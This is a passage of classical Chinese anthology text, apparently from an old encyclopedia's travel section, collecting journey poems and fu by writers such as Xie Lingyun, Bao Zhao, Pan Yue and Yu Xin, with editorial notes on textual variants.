洋 洋 熊 耳 流 . 巍 巍 伊 阙 山 . 高 冈 碣 崔 嵬 . 双 阜 夹 长 川 . 素 石 何 磷 磷 . 水 禽 浮 翩 翩 . 远 涉 许 颖 路 . 顾 思 邈 绵 绵 . 郁 陶 怀 所 亲 . 引 领 情 缅 然 .\n宋 陶 潜 赴 假 还 江 陵 夜 行 涂 口 作 诗 曰 . 闲 居 三 十 载 . 遂 与 尘 事 冥 . 诗 书 敦 宿 好 . 园 林 无 俗 情 . 叩 枻 新 秋 月 . 临 流 别 友 生 . 凉 风 起 将 夕 . 夜 景 湛 虚 明 .\n宋 谢 灵 运 入 东 道 路 诗 曰 . 整 驾 辞 金 门 . 命 旅 惟 诘 朝 . 怀 居 顾 归 云 . 指 涂 溯 行 飙 . 属 值 清 明 节 . 荣 华 感 和 韶 . 陵 隰 繁 绿 杞 . 墟 囿 粲 红 桃 . 鷕 鷕 翚 方 雊 . 纤 纤 麦 垂 苗 . 隐 轸 邑 里 密 . 缅 邈 江 海 辽 . 满 目 皆 古 事 . 心 赏 贵 所 高 . 鲁 连 谢 千 金 . 延 州 权 去 朝 . 行 路 既 经 见 . 愿 言 寄 吟 谣 .\n又 之 郡 发 都 诗 曰 . 述 职 期 兰 署 . 理 桌 变 金 素 . 秋 岸 沉 夕 阴 . 火 昊 团 朝 露 . 辛 苦 谁 为 情 . 游 子 值 颓 暮 . 生 幸 休 明 时 . 亲 蒙 英 达 顾 . 空 班 赵 氏 圣 . ○ 文 选 二 十 六 作 璧 . 徒 乖 魏 王 瓠 . 从 来 渐 二 纪 . 始 得 傍 归 路 . 将 穷 山 海 迹 . 永 绝 赏 心 悟 .\n又 发 石 首 城 诗 曰 . 白 珪 尚 可 磨 . 斯 言 以 为 缁 . 虽 抱 中 孚 爻 . 犹 劳 贝 锦 诗 . 寸 心 若 不 亮 . 微 命 察 如 丝 . 日 月 垂 光 景 . 成 贷 遂 兼 兹 . 出 宿 薄 京 畿 . 晨 装 抟 曾 飔 . 重 经 平 生 别 . 再 与 朋 知 辞 . 故 山 日 已 远 . 风 波 岂 还 时 . 遥 遥 万 里 帆 . 茫 茫 终 何 之 . 钦 圣 若 旦 暮 . 怀 贤 亦 凄 其 . 皎 皎 明 发 心 . 不 为 岁 寒 欺 .\n又 七 里 濑 诗 曰 . 孤 客 伤 逝 湍 . 徒 旅 苦 奔 峭 . 石 浅 水 潺 湲 . 日 落 山 照 曜 .\n又 初 往 新 安 桐 庐 口 诗 曰 . 感 节 良 已 深 . 怀 古 亦 云 思 . 不 有 千 里 桌 . 孰 申 百 代 意 . 既 及 冷 风 善 . 又 即 秋 水 ● . 江 山 共 开 旷 . 云 日 相 照 媚 . 景 夕 群 物 清 . 对 玩 咸 可 喜 .\n又 夜 发 石 关 亭 诗 曰 . 随 山 逾 千 里 . 浮 溪 将 十 夕 . 鸟 归 息 舟 楫 . 星 阑 命 行 役 . 亭 亭 晓 月 映 . 泠 泠 朝 露 滴 .\n又 彭 蠡 口 诗 曰 . 春 晚 绿 野 秀 . 岩 高 白 云 屯 . 千 念 集 日 夜 . 万 感 盈 朝 昏 . 攀 崖 照 石 镜 . 牵 叶 入 松 门 .\n又 初 发 入 南 城 诗 曰 . 弄 波 不 辍 手 . 玩 景 岂 停 目 . 虽 未 登 云 峰 . 且 以 欢 水 宿 .\n又 往 临 川 郡 发 石 头 城 诗 曰 . 越 海 陵 三 山 . 游 湘 历 九 疑 . 钦 圣 若 旦 暮 . 怀 贤 亦 凄 其 .\n宋 颜 延 之 北 使 至 洛 诗 曰 . 振 楫 发 吴 州 . 秣 马 陵 楚 山 . 涂 出 梁 宋 郊 . 道 由 周 郑 间 . 前 登 阳 城 路 . 旦 夕 望 三 川 . 伊 洛 绝 津 济 . 台 馆 无 尺 椽 . 宫 阶 多 巢 穴 . 城 阙 生 云 烟 .\n宋 鲍 昭 还 都 道 中 诗 曰 . 昨 夜 宿 南 陵 . 今 旦 入 芦 洲 . 客 行 惜 日 月 . 崩 波 不 可 留 . 侵 星 赴 早 路 . 毕 景 逐 前 俦 . 发 舻 眺 淮 甸 . 掩 泣 望 荆 州 . 绝 目 尽 平 原 . 时 见 远 烟 浮 .\n又 从 临 海 王 西 镇 发 新 亭 诗 曰 . 客 行 有 苦 乐 . 但 问 客 何 行 . 攀 龙 不 待 翼 . 附 骥 绝 尘 冥 . 梁 珪 分 楚 牧 . 羽 鹢 指 全 荆 . 狐 兔 怀 窟 志 . 犬 马 恋 主 情 .\n又 登 黄 鹄 圻 诗 曰 . 适 郢 无 东 辕 . 过 夏 有 西 浮 . 三 崖 隐 丹 . 九 派 引 苍 流 . 泪 竹 感 湘 别 . 荆 珠 怀 汉 游 .\n又 还 都 在 路 诗 曰 . 夕 听 江 上 波 . 远 极 千 里 目 . 寒 烟 警 穷 蹊 . 爽 气 起 乔 木 .\n又 至 竹 里 诗 曰 . 复 涧 隐 松 声 . 重 崖 伏 云 色 . 君 子 树 令 名 . 细 人 效 命 力 . 不 见 长 波 水 . 清 浊 俱 不 息 .\n又 齐 刘 绘 入 琵 琶 峡 望 积 布 矶 诗 曰 . 江 山 信 多 美 . 此 地 最 为 神 . 以 兹 峰 石 丽 . 重 在 芳 树 春 . 照 烂 虹 蜺 杂 . 交 错 锦 绣 陈 . 却 瞻 了 非 向 . 前 观 已 复 新 . 翠 微 上 亏 景 . 青 莎 下 拂 津 .\n齐 谢 朓 和 刘 绘 琵 琶 峡 望 积 布 矶 诗 曰 . 昔 余 侍 君 子 . 历 此 游 荆 汉 . 山 川 隔 旧 赏 . 朋 僚 多 雨 散 . 惆 怅 怀 昔 践 . 髣 像 得 殊 观 . 赪 紫 共 彬 駮 . 云 锦 相 凌 乱 .\n晚 登 三 山 望 京 邑 诗 曰 . 灞 涘 望 长 安 . 河 阳 视 京 县 . 白 日 丽 飞 甍 . 参 差 皆 可 见 . 余 霞 散 成 绮 . 澄 江 静 如 练 . 喧 鸟 覆 春 洲 . 杂 英 满 芳 甸 .\n又 休 沐 重 还 道 中 诗 曰 . 还 邛 歌 赋 似 . 休 汝 车 骑 非 . 霸 池 不 可 别 . 伊 川 难 重 违 . 汀 葭 稍 靡 靡 . 江 叶 复 依 依 . 田 鹄 远 相 叫 . 沙 鳵 ○ 文 选 二 十 七 作 鸨 . 忽 争 飞 . 云 端 楚 山 见 . 林 表 吴 岫 微 . 岁 华 春 有 酒 . 初 服 偃 郊 扉 .\n齐 孔 稚 珪 旦 发 青 林 曰 . 孤 征 越 清 江 . 游 子 悲 路 长 . 二 旬 倏 已 满 . 三 千 眇 未 央 . 草 杂 今 古 色 . 岩 留 冬 夏 霜 . 寄 怀 中 山 旧 . 举 酒 莫 相 忘 .\n齐 刘 瑱 上 湘 度 琵 琶 矶 诗 曰 . 兹 山 挺 异 萼 . 孤 起 秀 云 中 . 陂 池 激 楚 浪 . 纷 纠 绝 宛 风 . 烟 峰 晦 如 昼 . 寒 水 清 若 空 . 颉 颃 鸥 舞 白 . 流 乱 叶 飞 红 .\n梁 简 文 帝 经 琵 琶 峡 诗 曰 . 百 岭 相 迂 蔽 . 千 崖 共 隐 天 . 横 峰 时 碍 水 . 斜 岸 或 通 川 .\n梁 孝 元 帝 经 巴 陵 行 部 伍 诗 曰 . 涉 江 望 行 旅 . 金 钲 闲 彩 游 . 水 际 含 天 色 . 虹 光 入 浪 浮 . 柳 条 恒 拂 岸 . 花 气 尽 熏 舟 . 丛 林 多 故 社 . 单 戍 有 危 楼 .\n梁 范 云 述 行 诗 曰 . 振 策 出 燕 代 . 驱 车 背 朔 并 . 翩 翩 朱 盖 转 . 萧 萧 良 马 鸣 .\n梁 刘 孝 绰 还 渡 浙 江 诗 曰 . 季 秋 弦 望 后 . 轻 寒 朝 夕 殊 . 商 人 泣 纨 扇 . 客 子 梦 罗 襦 . 忧 方 自 难 遣 . 况 复 阻 川 隅 . 日 暮 愁 阴 合 . 绕 树 噪 寒 乌 . 濛 漠 江 烟 上 . 苍 茫 沙 屿 芜 . 解 缆 辞 东 越 . 接 舳 鹜 西 徂 . 悬 帆 似 驰 骥 . 飞 桌 若 惊 凫 . 言 归 游 侠 窟 . 方 从 冠 盖 衢 .\n又 夕 逗 繁 昌 浦 诗 曰 . 日 入 江 风 静 . 安 波 似 天 流 . 暮 烟 生 远 路 . 夕 鸟 赴 前 洲 .\n又 月 半 夜 泊 鹊 尾 诗 曰 . 客 行 三 五 夜 . 息 桌 隐 中 洲 . 月 光 随 浪 动 . 山 影 逐 波 流 .\n梁 刘 孝 仪 帆 渡 吉 阳 洲 诗 曰 . 扬 帆 乘 浪 华 . 噪 鼓 扬 风 力 . 近 树 倏 而 遐 . 遥 山 俄 已 逼 . 欲 比 惊 龙 掣 . 将 顿 阳 乌 翼 . 客 行 悲 道 远 . 唯 须 前 路 极 .\n梁 刘 孝 威 帆 渡 吉 阳 洲 诗 曰 . 江 潮 凌 晚 急 . 钲 鼓 候 晨 催 . 幸 息 榜 人 唱 . 聊 望 高 帆 开 . 联 村 倏 忽 尽 . 循 汀 俄 顷 回 . 疑 是 傍 洲 退 . 似 觉 前 山 来 . 将 与 图 南 竞 . 谁 云 劳 溯 洄 .\n梁 江 洪 诗 曰 . 日 没 风 光 静 . 远 山 深 无 云 . 潮 落 晚 洲 出 . 浪 罢 沙 成 文 . 挟 琴 上 高 岸 . 望 月 弹 明 君 . 去 家 未 千 里 . 断 绝 怨 离 群 . 梁 吴 筠 酬 鲍 畿 诗 曰 . 振 桌 出 江 湄 . 依 依 望 九 疑 . 欲 谒 苍 梧 帝 . 过 问 沅 湘 姬 . 折 荷 缝 作 盖 . 落 羽 纺 成 丝 . 吾 行 别 有 意 . 不 为 君 道 之 .\n又 忆 费 昶 诗 曰 . 皎 皎 日 将 上 . 猎 猎 起 微 风 . 山 没 清 波 内 . 帆 在 浮 云 中 . 直 趣 珠 星 北 . 斜 开 碧 海 东 . 故 人 若 思 我 . 当 念 离 根 蓬 .\n又 使 庐 陵 诗 曰 . 怅 然 不 自 悟 . 端 忧 坐 漠 漠 . 风 急 雁 毛 断 . 水 坚 马 迹 落 . 客 子 饥 寒 多 . 江 上 衣 装 薄 . 何 当 报 恩 罢 . 驱 车 还 北 郭 .\n梁 王 僧 孺 中 川 长 望 诗 曰 . 长 川 杳 难 即 . 四 望 四 无 极 . 安 流 宁 可 值 . 愤 风 方 未 息 . 危 帆 渡 中 悬 . 孤 光 岩 下 仄 . 岸 际 树 难 辨 . 云 中 鸟 易 识 . 莫 恨 东 复 西 . 谁 知 迂 且 直 . 故 乡 相 思 者 . 当 春 受 颜 色 . 独 写 千 行 泪 . 谁 同 万 里 忆 .\n梁 何 逊 度 连 圻 诗 曰 . 客 子 行 行 倦 . 年 光 处 处 华 . 石 蒲 生 促 节 . 岩 树 落 高 花 .\n又 还 度 五 洲 诗 曰 . 睠 言 还 九 派 . 回 舻 出 五 洲 . 萧 散 烟 霞 晚 . 清 凄 江 汉 秋 . 沙 汀 暮 寂 寂 . 芦 岸 夕 脩 脩 .\n又 富 阳 浦 口 和 朗 上 人 诗 曰 . 客 心 愁 日 暮 . 徙 倚 空 望 归 . 山 烟 敛 树 色 . 江 水 映 霞 辉 . 独 鹤 凌 风 逝 . 双 凫 出 浪 飞 . 故 乡 千 余 里 . 兹 夕 寒 无 衣 .\n梁 虞 骞 寻 沈 剡 夕 至 嵊 亭 诗 曰 . 命 楫 寻 嘉 会 . 信 次 历 山 原 . 扪 天 上 云 纠 . 礜 石 下 雷 奔 . 澄 潭 写 度 鸟 . 空 岭 应 鸣 猿 . 榜 歌 唱 将 夕 . 商 子 处 方 昏 .\n梁 王 筠 游 望 诗 曰 . 晨 登 黄 马 坡 . 遥 望 白 龙 堆 . 风 威 尽 撩 折 . 路 险 车 轮 摧 .\n梁 朱 超 泊 巴 陵 诗 曰 . 月 夜 三 江 静 . 云 雾 四 边 收 . 淤 泥 不 通 挽 . 寒 浦 劣 客 舟 . 回 风 折 长 草 . 轻 冰 断 细 流 . 古 村 空 烈 树 . 荒 戍 久 无 楼 .\n梁 庾 肩 吾 舟 中 寒 望 诗 曰 . 日 暮 敝 凫 舟 . 曾 冰 合 ● 流 . 雪 照 齐 君 履 . 寒 入 楚 王 裘 .\n周 王 褒 始 发 宿 亭 诗 曰 . 送 人 亭 上 别 . 被 马 枥 中 嘶 . 漠 漠 村 烟 起 . 离 离 岭 树 齐 . 落 星 侵 晓 没 . 残 月 半 山 低 .\n又 和 赵 王 途 中 诗 曰 . 飘 飘 映 军 幕 . 出 没 望 连 旗 . 度 云 还 翊 阵 . 回 风 即 送 师 . 峡 路 沙 如 月 . 山 峰 石 似 眉 . 村 桃 拂 红 粉 . 岸 柳 被 青 丝 . 锦 城 遥 可 望 . 回 鞍 念 此 诗 .\n周 庾 信 将 命 使 北 始 渡 瓜 步 江 诗 曰 . 校 尉 始 辞 国 . 楼 欲 渡 河 . 輴 轩 临 碛 岸 . 旌 节 映 江 沱 . 观 涛 想 帷 盖 . 争 长 忆 干 戈 . 虽 同 燕 市 泣 . 犹 听 赵 津 歌 .\n又 入 彭 城 馆 诗 曰 . 襄 君 前 建 国 . 项 氏 昔 威 棱 . 鶂 飞 伤 楚 战 . 鸡 鸣 悲 汉 围 . 年 代 殊 氓 俗 . 风 云 更 盛 衰 . 水 流 浮 磬 动 . 山 深 喧 狄 ○ 本 集 作 翟 . 飞 . 夏 余 花 欲 尽 . 秋 近 燕 将 稀 . 槐 庭 垂 绿 穗 . 莲 浦 落 红 衣 .\n又 反 命 河 朔 始 入 武 州 诗 曰 . 轻 车 飞 逐 李 . 定 远 未 随 班 . 受 诏 祁 连 反 . 申 威 疏 勒 还 . 飞 蓬 损 腰 带 . 秋 鬓 落 容 颜 . 寄 言 旧 相 识 . 知 余 生 入 关 .\n陈 阴 铿 和 傅 郎 岁 暮 还 湘 州 诗 曰 . 苍 茫 岁 欲 晚 . 辛 苦 客 方 行 . 大 江 静 犹 浪 . 扁 舟 独 且 征 . 棠 枯 绛 叶 尽 . 芦 冻 白 花 轻 . 戍 人 寒 不 望 . 沙 禽 回 未 惊 . 湘 波 各 深 浅 . 空 轸 念 归 情 .\n又 晚 泊 五 洲 诗 曰 . 客 行 逢 日 暮 . 结 缆 晚 洲 中 . 戍 楼 因 砧 险 . 村 路 入 江 穷 . 水 随 云 渡 黑 . 山 带 日 归 红 . 遥 然 一 柱 观 . 欲 轻 千 里 风 .\n又 夜 发 诗 曰 . 夜 江 雾 里 阔 . 新 月 中 明 . 溜 ● 唯 识 火 . 惊 凫 但 听 声 . 劳 者 时 歌 榜 . 愁 人 数 问 更 .\n【 赋 】 汉 刘 歆 遂 初 赋 曰 . 歆 好 左 氏 春 秋 . 欲 立 于 学 官 . 时 诸 儒 不 听 . 歆 乃 移 书 太 常 . 责 让 深 切 . 为 朝 廷 大 臣 所 非 . 求 出 补 吏 . 后 徙 五 原 太 守 . 志 意 不 得 . 经 历 故 晋 之 城 . 感 今 思 古 . 遂 作 斯 赋 . 得 玄 武 之 嘉 兆 . 守 五 原 之 烽 燧 . 驰 太 行 之 岩 防 . 入 天 井 之 乔 关 . 望 亭 燧 之 皦 皦 . 飞 旗 帜 之 翩 翩 . 迥 百 里 之 无 家 . 路 脩 远 之 绵 绵 . 勒 漳 塞 而 固 守 . 奋 武 灵 之 精 诚 . 摅 赵 奢 之 策 虑 . 威 谋 完 乎 金 城 .\n后 汉 班 彪 北 征 赋 曰 . 纷 吾 去 此 旧 都 兮 . 騑 迟 迟 以 历 兹 . 遂 舒 节 以 远 逝 兮 . 指 安 定 以 为 期 . 飞 云 雾 之 杳 杳 . 涉 积 雪 之 皑 皑 . 游 子 悲 其 故 乡 兮 . 心 怆 恨 以 伤 怀 . 揽 余 涕 于 邑 兮 . 哀 生 民 之 多 故 . 谅 时 运 之 所 为 兮 . 永 伊 郁 其 谁 诉 .\n后 汉 曹 世 叔 妻 班 氏 东 征 赋 曰 . 惟 永 初 之 有 七 兮 . 余 随 子 乎 东 征 . 时 孟 春 之 吉 日 兮 . 撰 良 辰 而 将 行 . 遂 去 故 而 就 新 兮 . 志 怆 悢 而 怀 悲 . 明 发 曙 而 不 寐 兮 . 心 迟 迟 而 有 违 . 乱 曰 . 君 子 之 思 . 必 成 文 兮 . 盍 各 言 志 . 慕 古 人 兮 .\n后 汉 蔡 邕 述 行 赋 曰 . 余 有 行 于 京 洛 . 遘 淫 雨 之 经 时 . 涂 迍 邅 其 蹇 连 . 潦 污 滞 而 为 灾 . 聊 弘 虑 以 存 古 . 宣 幽 情 而 属 词 . 行 游 目 以 南 望 . 览 太 室 之 威 灵 . 顾 大 河 于 北 垠 . 睹 洛 汭 之 始 并 . 率 陵 阿 以 登 降 . 赴 偃 师 而 精 勤 . 壮 田 横 之 奉 首 . 义 二 士 之 夹 坟 .\n魏 崔 琰 述 初 赋 曰 . 琰 性 顽 口 讷 . 至 二 十 九 . 粗 关 书 传 . 闻 北 海 有 郑 征 君 者 . 当 世 名 儒 . 遂 往 造 焉 . 道 由 齐 都 . 而 作 述 初 赋 曰 . 有 郑 氏 之 高 训 . 吾 将 往 乎 发 蒙 . 洒 余 发 于 兰 池 . 振 余 佩 于 清 风 . 望 高 密 以 函 征 . 戾 衡 门 而 造 止 . 觌 游 夏 之 峨 峨 . 听 大 猷 之 篇 记 . 高 洪 崖 之 耿 介 . 羡 安 期 之 长 生 . 登 川 山 以 永 望 . 临 洞 浦 之 广 溟 . 左 扬 波 于 汤 谷 . 右 濯 岸 于 濛 汜 . 运 混 元 以 升 降 . 与 三 光 而 终 始 . 蓬 莱 蔚 其 潜 兴 . 瀛 壶 崛 以 骈 罗 . 列 金 台 之 蹇 产 . 方 玉 阙 之 峨 .\n晋 陆 机 行 思 赋 曰 . 背 洛 浦 之 遥 遥 . 浮 黄 川 之 裔 裔 . 遵 河 曲 以 悠 远 . 观 通 流 之 所 会 . 启 石 门 而 东 萦 . 沿 汴 渠 其 如 带 . 托 飘 风 之 习 习 . 冒 沉 云 之 蔼 蔼 . 商 秋 肃 其 发 节 . 玄 云 霈 而 垂 阴 . 凉 气 凄 其 薄 体 . 零 雨 郁 而 下 淫 . 睹 川 禽 之 遵 渚 . 看 山 鸟 之 归 林 . 挥 清 波 以 濯 羽 . 翳 绿 叶 而 弄 音 . 行 弥 久 而 情 劳 . 涂 愈 近 而 思 深 . 羡 品 物 以 独 感 . 悲 绸 缪 而 在 心 . 嗟 逝 宦 之 永 久 . 年 荏 苒 而 历 兹 . 越 河 山 而 托 景 . 眇 四 载 而 远 期 . 孰 归 宁 之 弗 乐 . 独 抱 感 而 弗 怡 .\n又 思 归 赋 曰 . 余 以 元 康 六 年 冬 . 取 急 归 . 而 王 师 外 征 . 职 典 中 兵 . 与 闻 军 政 . 惧 兵 革 未 息 . 宿 愿 有 违 . 怀 归 之 思 . 愤 而 成 篇 . 节 运 代 序 . 四 气 相 推 . 寒 风 肃 杀 . 白 露 沾 衣 . 嗟 行 迈 之 弥 留 . 感 时 逝 而 怀 悲 . 彼 离 思 之 在 人 . 恒 戚 戚 而 无 欢 . 悲 缘 情 以 自 诱 . 忧 触 物 而 生 端 . 昼 辍 食 而 发 愤 . 宵 假 寐 而 兴 言 . 羡 归 鸿 以 矫 首 . 挹 谷 风 而 如 兰 . 岁 靡 靡 而 薄 暮 . 心 悠 悠 而 增 楚 . 风 霏 霏 而 入 室 . 响 泠 泠 而 愁 序 . 既 遨 游 于 川 沚 . 亦 改 驾 乎 山 林 . 伊 我 思 之 沈 郁 . 怆 感 物 而 增 深 . 叹 随 风 而 上 逝 . 涕 承 缨 而 下 寻 . 冀 王 事 之 暇 豫 . 庶 归 宁 之 有 时 . 候 凉 风 而 警 策 . 指 孟 冬 而 为 期 . 愿 灵 晖 之 促 景 . 恒 立 表 以 望 之 .\n晋 潘 岳 西 征 赋 曰 . 岁 次 玄 枵 . 月 旅 蕤 宾 . 潘 子 冯 轼 西 征 . 自 京 徂 秦 . 皇 鉴 揆 余 之 忠 诚 . 俄 命 余 以 未 ○ 文 选 十 作 末 . 班 . 杖 疲 ○ 原 字 坏 . 据 冯 校 本 补 . 人 于 西 夏 . 携 老 幼 而 入 关 . 余 乃 越 平 乐 . 过 街 邮 . 秣 马 皋 门 . 税 驾 西 周 . 澡 孝 水 而 濯 缨 . 嘉 善 名 而 在 兹 . 登 崤 阪 之 威 夷 . 仰 崇 领 之 嵯 峨 . 皋 托 坟 于 南 陵 . 文 违 风 于 北 阿 . 蹑 函 谷 之 重 阻 . 看 天 险 之 衿 带 . 迹 诸 侯 之 勇 怯 . 筭 嬴 氏 之 利 害 . 或 开 关 以 延 敌 . 竞 遁 逃 而 奔 窜 . 发 阌 乡 而 警 策 . 溯 黄 卷 ○ 文 选 作 巷 . 而 济 潼 . 眺 华 岳 之 阴 崖 . 觌 高 掌 之 遗 踪 . 倦 狭 路 之 迫 隘 . 轨 崎 岖 以 低 仰 . 蹈 秦 郊 而 始 辟 . 豁 爽 垲 以 宏 壮 . 黄 壤 千 里 . 沃 野 弥 望 . 华 实 芬 敷 . 桑 麻 涤 畅 . 邪 界 褒 斜 . 右 滨 汧 陇 . 宝 鸡 前 鸣 . 甘 泉 后 涌 . 面 终 南 而 背 云 阳 . 跨 平 原 而 连 嶓 冢 . 九 嵕 嶭 . 太 ○ 文 选 太 下 有 一 字 . 此 脱 . 巃 嵷 . 吐 清 风 之 飂 戾 . 纳 归 云 之 郁 蓊 . 南 有 玄 灞 素 浐 . 汤 井 温 谷 . 北 有 清 渭 浊 泾 . 兰 池 周 曲 . 浸 决 郑 白 之 渠 . 漕 引 淮 海 之 粟 . 林 茂 有 鄠 之 竹 . 山 挺 蓝 田 之 玉 . 履 犬 戎 之 侵 地 . 疾 幽 后 之 诡 惑 . 举 伪 烽 以 沮 众 . 淫 嬖 褒 以 纵 慝 . 军 败 戏 水 之 上 . 身 死 骊 山 之 北 . 异 哉 秦 始 皇 之 为 君 也 . 倾 天 下 以 厚 葬 . 自 开 辟 而 未 闻 . 匠 人 劳 而 弗 图 . 俾 生 埋 以 报 勤 . 外 罹 西 楚 之 祸 . 内 受 牧 之 焚 . 语 曰 . 行 无 礼 必 自 及 . 此 非 效 欤 . 干 坤 以 有 亲 可 久 . 君 子 以 厚 德 载 物 . 观 夫 汉 高 之 兴 也 . 非 徒 聪 明 神 武 . 豁 达 大 度 而 已 . 乃 实 慎 终 追 远 . 笃 诚 款 爱 . 泽 靡 不 渐 . 恩 无 不 逮 . 率 土 且 犹 不 遗 . 而 况 于 邻 里 乎 . 而 况 于 卿 士 乎 . 于 斯 时 也 . 乃 摹 写 旧 丰 . 制 造 新 邑 . 故 社 易 置 . 枌 榆 迁 立 . 街 衢 如 一 . 庭 宇 相 袭 . 浑 鸡 犬 而 乱 放 . 各 识 家 而 竞 入 . 籍 含 怒 于 鸿 门 . 沛 跼 蹐 而 来 王 . 范 谋 害 而 弗 许 . 阴 授 剑 以 约 庄 . ● 白 刃 以 万 舞 . 危 冬 叶 之 待 霜 . 尔 乃 阶 长 乐 . 登 未 央 . 泛 太 液 . 凌 建 章 . 萦 馺 娑 而 款 骀 荡 . 枍 诣 而 轹 承 光 . 徘 徊 桂 宫 . 惆 怅 柏 梁 . 惊 雉 雊 于 台 陂 . 狐 兔 窟 于 殿 傍 . 何 黍 苗 之 离 离 . 而 予 思 之 茫 茫 .\n晋 郭 璞 流 寓 赋 曰 . 戒 鸡 晨 而 星 发 . 至 猗 氏 而 方 晓 . 观 屋 落 之 隳 残 . 顾 但 见 乎 丘 枣 . 嗟 城 池 之 不 固 . 何 人 物 之 希 少 . 越 南 山 之 高 岭 . 修 焦 丘 之 微 路 . 骇 斯 径 之 峻 绝 . 感 王 阳 而 增 惧 . 诘 朝 发 于 解 池 . 辰 中 暨 乎 河 北 . 思 此 县 之 旧 名 . 盖 曩 日 之 魏 国 . 咏 诗 人 之 流 歌 . 信 风 土 之 俭 刻 . 背 兹 邑 之 逝 . 何 险 难 之 多 历 . 望 陕 城 于 南 涯 . 存 虢 氏 之 疆 埸 . 实 我 姓 之 攸 出 . 邈 有 怀 乎 乃 迹 . 陟 函 谷 之 高 关 . 壮 斯 势 之 险 固 . 过 王 城 之 丘 墉 . 想 谷 洛 之 合 斗 . 恶 王 灵 之 壅 流 . 奇 子 乔 之 轻 举 . 游 华 辇 而 永 怀 . 乃 轼 以 寓 目 . 思 文 公 之 所 营 . 盖 成 周 之 墟 域 .\n晋 张 载 叙 行 赋 曰 . 岁 大 荒 之 孟 夏 . 余 将 往 乎 蜀 都 . 脂 轻 车 而 秣 马 . 循 路 轨 以 西 徂 . 朝 发 轫 于 京 宇 兮 . 夕 予 宿 于 谷 洛 . 践 有 周 之 旧 墟 . 槐 丘 荒 以 寥 廓 . 赞 王 孙 于 北 门 . 问 九 鼎 于 东 郭 . 寔 公 旦 ○ 原 坏 作 ● . 据 冯 校 本 补 . 之 所 卜 . 曷 斯 水 之 濆 薄 . 入 函 谷 而 长 驱 . 历 新 安 之 卤 阜 . 行 逶 迤 以 登 降 . 陟 二 崤 之 重 阻 . 经 嵚 岑 之 险 巇 . 想 姬 文 之 避 雨 . 出 潼 关 以 回 逝 . 仰 华 岳 之 崔 嵬 . 勤 大 禹 之 疏 导 . 豁 龙 门 之 洞 开 . 舍 予 车 以 步 趾 . 玩 卉 木 之 璀 错 . 翳 青 青 之 长 松 . 荫 肃 肃 之 高 柞 . 缘 阻 岑 之 绝 崖 . 蹈 偏 梁 之 悬 阁 . 石 壁 立 以 切 天 . 岌 隗 其 欲 落 . 超 阳 平 而 越 白 水 . 稍 幽 薆 以 回 深 . 秉 重 峦 之 百 层 . 转 木 末 于 九 岑 . 浮 云 起 于 毂 下 . 零 雨 集 于 麓 林 . 上 昭 晰 以 清 阳 . 下 杳 冥 而 昼 阴 . 闻 山 鸟 之 晨 鸣 . 听 玄 猿 之 夜 吟 . 虽 处 者 之 所 乐 . 嗟 寂 寞 而 愁 予 心 . 造 剑 阁 之 崇 关 . 路 盘 曲 以 晻 蔼 . 山 峥 嵘 以 峻 狭 . 仰 青 天 其 如 带 . 兼 习 坎 之 重 固 . 形 东 隘 以 要 害 . 岂 干 坤 之 分 域 . 将 隔 绝 乎 内 外 .\n晋 袁 宏 东 征 赋 曰 . 惟 吾 生 于 末 运 . 托 一 叶 于 邓 林 . 顾 微 躯 之 眇 眇 . 若 绝 响 之 遗 音 . 壮 公 瑾 之 明 达 . 吐 不 世 之 奇 策 . 挫 百 胜 于 崇 朝 . 靡 云 旗 于 赤 壁 . 三 光 一 举 而 参 分 . 四 海 指 麾 而 中 隔 . 过 武 昌 以 逍 遥 . 登 樊 山 以 流 盻 . 访 遗 老 以 证 往 . 乃 西 鄂 之 旧 县 . 曩 有 吴 之 初 基 . 升 员 丘 而 豹 变 . 尔 乃 出 桑 洛 . 会 通 川 . 背 彭 泽 . 面 长 泉 . 洲 渚 迢 遰 . ● 岫 虚 悬 . 即 云 似 岭 . 望 水 若 天 . 日 月 出 乎 波 中 . 云 霓 生 于 浪 闲 . 嗟 我 行 之 弥 留 . 跨 晦 朔 之 倏 忽 . 风 褰 林 而 萧 瑟 . 云 出 山 而 逢 渤 . 向 孙 氏 之 南 面 . 钻 灵 龟 以 相 土 . 模 酆 镐 之 制 度 . 写 河 洛 之 规 矩 . 经 始 郛 郭 . 筑 室 葺 宇 . 金 城 万 雉 . 崇 墉 百 堵 . 君 臣 有 章 . 上 下 获 叙 . 所 以 能 三 分 天 下 . 而 有 其 文 武 . 到 吴 都 以 停 舟 . 览 阖 闾 之 余 尘 . 建 脩 城 以 营 郭 . 引 通 流 而 发 津 . 远 矣 吴 德 . 旧 邦 惟 新 . 太 伯 被 发 . 仲 雍 文 身 . 言 偃 以 文 学 遗 风 . 季 札 以 让 国 称 仁 . 高 节 显 于 华 夏 . 端 委 行 乎 海 滨 .\n宋 谢 灵 运 归 涂 赋 曰 . 昔 文 章 之 士 . 多 作 行 旅 赋 . 或 欣 在 观 国 . 或 怵 在 斥 徙 . 或 述 职 邦 邑 . 或 羁 役 戎 阵 . 事 由 于 外 . 兴 不 自 己 . 虽 高 才 可 推 . 求 怀 未 惬 . 今 量 分 告 退 . 反 身 草 泽 . 经 涂 履 运 . 用 感 其 心 . 赋 曰 . 承 百 世 之 庆 灵 . 遇 千 载 之 优 渥 . 匪 康 衢 之 难 践 . 谅 跬 步 之 易 局 . 践 寒 暑 以 推 换 . 眷 桑 梓 以 缅 邈 . 褫 簪 带 于 穷 城 . 反 巾 褐 于 空 谷 . 果 归 期 于 愿 言 . 获 素 念 于 思 乐 . 于 是 舟 人 告 办 . 伫 楫 在 川 . 观 鸟 候 风 . 望 景 测 圆 . 背 海 向 溪 . 乘 潮 傍 山 . 凄 凄 送 归 . 愍 愍 告 旋 . 时 旻 秋 之 杪 节 . 天 既 高 而 物 衰 . 云 上 腾 而 雁 翔 . 霜 下 沦 而 草 腓 . 舍 阴 漠 之 旧 浦 . 去 汤 ○ 冯 校 本 作 阳 . 景 之 芳 蕤 . 林 承 风 而 飘 落 . 水 鉴 月 而 含 辉 . 发 青 田 之 枉 渚 . 逗 白 岸 之 空 亭 . 路 威 夷 而 诡 状 . 山 侧 背 而 易 形 . 停 余 舟 而 淹 留 . 搜 缙 云 之 遗 迹 . 漾 百 里 之 清 潭 . 见 千 仞 之 孤 石 . 历 古 今 而 长 在 . 经 盛 衰 而 不 易 .\n宋 鲍 昭 游 思 赋 曰 . 云 遥 兮 海 冲 . 上 潮 兮 送 风 . 秋 水 兮 架 浦 . 凉 烟 兮 冒 虹 . 暮 气 起 兮 远 岸 黑 . 阳 精 灭 兮 天 际 红 . 波 汒 汒 兮 无 底 . 山 嵾 嵾 兮 万 重 . 